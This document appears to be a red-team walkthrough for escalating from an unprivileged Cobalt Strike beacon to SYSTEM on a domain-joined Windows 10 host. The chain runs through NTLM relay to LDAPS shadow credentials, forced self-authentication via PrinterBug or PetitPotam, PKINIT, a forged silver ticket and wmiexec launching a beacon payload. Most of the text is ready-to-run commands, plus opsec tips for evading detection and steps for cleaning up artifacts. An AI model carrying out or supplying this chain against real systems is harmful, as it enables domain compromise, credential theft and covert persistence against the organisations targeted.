Just a walkthrough of how to escalate privileges locally by forcing the system you landed initial access on to reflectively authenticate over HTTP to itself and forward the received connection to an HTTP listener (ntlmrelayx) configured to relay to DC servers over LDAP/LDAPs for either setting shadow credentials or configuring RBCD.
This would result in a valid kerberos TGT ticket that can be used to obtain a TGS for a service (HOST/CIFS) using S4U2Self
by impersonating a user with local administrator access to the host (domain admin ..etc), or alternatively, it's also possible to retrieve the machine account's NTLM hash with getnthash.py and then create a silver ticket.
Lastly, use the TGS or silver ticket to spawn a system (session 0) process, this can be achieved by simply using WMIExec
or alternatively using SCMUACBypass
script to rely on kerberos for auth to interact with the SCM and create a service in the context of SYSTEM.
The steps below lists all the actions taken to escalate privileges locally on an up to date Windows 10 (1909) system, the cobalt strike beacon (or any other c2 agent) is running in the context of an unprivileged user LAB\User1
.
Domain: lab.local
DC IP: 10.2.10.1
Win10 IP: 10.10.177.112
Linux machine CS client running on: 172.16.1.5
TLDR: On the linux machine, we run ntlmrelayx and listen for any NTLM connections over HTTP port 80, and then use the printerbug script to force the Win10
system to authenticate using the machine account against itself on port 80, which hopefully should get picked up by our reverse port forward (beacon) on port 80 and redirected to the ntlmrelayx HTTP listener, and then ntlmrelayx will relay it through the socks proxy to the DC server over LDAP/LDAPs to set shadow credentials on the Win10$
computer account.
-
Start the WebClient service from an unprivileged context:
inline-execute StartWebClientSvc.x64.o
sc_query webclient
-
On your cobalt strike beacon, setup a socks proxy and reverse port forward:
socks 5009
rportfwd_local 80 172.16.1.5 80
-
Check if
msDS-KeyCredentialLink
attribute is Not already set on the currentWIN10
machine account.
ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink
-
Setup the Listener on Linux system CS client is running on:
proxychains python3 ntlmrelayx.py -domain lab.local -t ldaps://10.2.10.1 --shadow-credentials --shadow-target WIN10\$
-
Coerce the
WIN10
system to authenticate to itself to port 80 (HTTP), this requires the WebClient service and the Printer Spooler service to be running onWIN10
::
proxychains python3 printerbug.py "lab.local/User1:[email protected]" wind10@80/print
Alternatively, you can use PetitPotam:
python3 PetitPotam.py -u User1 -p Passw0rd01 -d lab.local WIN10@80/print 10.10.177.112
-
If the previous two (2) steps were executed with no error, you should get a message stating shadow credentials were successfully set on the WIN10$ machine account, you can quiclky check for that using:
ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink
The remaining steps are standard PKINIT actions to get a TGT for WIN10$, then recover the NT Hash and lastly create a silver ticket for the HOST\WIN10
SPN:
-
Request a TGT for WIN10$:
proxychains python3 gettgtpkinit.py -cert-pfx WIN10.pfx -pfx-pass 8kX4grjUrY8gvzjrphl5 lab.local/WIN10$ WIN10.ccache
-
export KRB5CCNAME=/PATH_TO/WIN10.ccache
-
Get the NT Hash:
proxychains python3 getnthash.py -key 397eef25429f6b7249a11dfaa874df5c92bf44974b1bb962591937d656f0e827 -dc-ip 10.2.10.1 lab.local/WIN10$
-
Create a silver ticket for the HOST SPN:
impacket-ticketer -domain-sid S-1-5-21-81107902-1099128984-1836738286 -domain lab.local -spn HOST/WIN10.LAB.LOCAL -nthash db6484c89c273e269a23b1bdc53f7cdf -user-id 1155 Administrator
-
Export the silver ticket for kerberos auth:
export KRB5CCNAME=/PATH_TO/Administrator.ccache
-
Get a SYSTEM beacon using
Wmiexec
:
proxychains4 python3 wmiexec.py -nooutput -silentcommand -dc-ip 10.2.10.1 -k -no-pass lab.local/[email protected] 'C:\Users\User1\Desktop\Files\mcbuilder.exe'
Or alternatively useSCMUACBypass
script from James (@tiraniddo)
-
Export the TGT created in step 8:
export KRB5CCNAME=/PATH_TO/WIN10.ccache
-
Get the public key set on
ms-dsKeyCredentialLink
GUID:
proxychains python3 pywhisker.py -u "WIN10$" -d "lab.local" --dc-ip 10.2.10.1 -k --no-pass --target 'WIN10$' --action "list" -vv
-
Remove the public key set:
proxychains python3 pywhisker.py -u "WIN10$" -d "lab.local" --dc-ip 10.2.10.1 -k --no-pass --target 'WIN10$' --action "remove" -D 97dc9d92-6d23-6031-7e1d-b5a13e305c8b
-
Check if the public key is removed:
ldapsearch "(&(objectClass=computer)(sAMAccountName=WIN10*))" sAMAccountName,msDS-KeyCredentialLink
- Shadow Credentials requires LDAP signing and channel binding to be disabled, you can use
LDAPRelayScan
to confirm that. - Machine accounts are allowed to change their own LDAP attributes (Not applicable for user accounts), however keep in mind that this will only work in case if the
ms-DSKeyCredentialLink
attribute does not exist for the machine account we want to LPE on. - LDAP Signing and Channel Binding must be disabled on the DC (typical configuration for many DC deployments)
- When Testing in a HomeLab, make sure you've:
- Windows Server 2016 Functional Level for AD
- A digital certificate for Server Authentication on DC.
- Disable Windows Firewall on the Win10 system, this would not be a road block when dealing with real world organizations.
-
Using Ticketer for forging a silver ticket from the NT hash can be detected (ATA) by monitoring for RC4 encrypted Kerberos ticket, most modern MS environments rely on AES Kerberos encryption instead. an alternative would be to use S4U2Self to obtain a TGS ticket check
gets4uticket
from Dirk-jan. -
SCMUACBypass creates a service, can be customized to update an existing service and point it to your beacon payload instead of
cmd.exe
,Wmiexec
doesn't create any services, that does not mean that Wmiexec with-nooutput
and-silentcommand
have no detections. just an opsec-safe alternative with a minimal footprint, i could be wrong though, who knows. -
Shadow Credentials changes the
ms-DsKeyCredentialLink
only, on the other hand RBCD requires theMachineQuota
to be set to 10 for default domain users (not always the case), plus a computer object will need to be created or have control over an existing AD joined system with an SPN set (required for delegation), then reflect it in theAllowedToActOnBehalfOfOtherIdentity
LDAP attribute.
LdapRelayScan
https://github.com/zyn3rgy/LdapRelayScanSCMBypassUAC
https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82gets4uticket
https://github.com/dirkjanm/PKINITtools/blob/master/gets4uticket.pyimpacket
https://github.com/SecureAuthCorp/impacket
Based on the research and tools/PoCs created by:
- @tifkin_
- @tiraniddo
- @_dirkjan
- @harmj0y
- @ShutdownRepo
- @topotam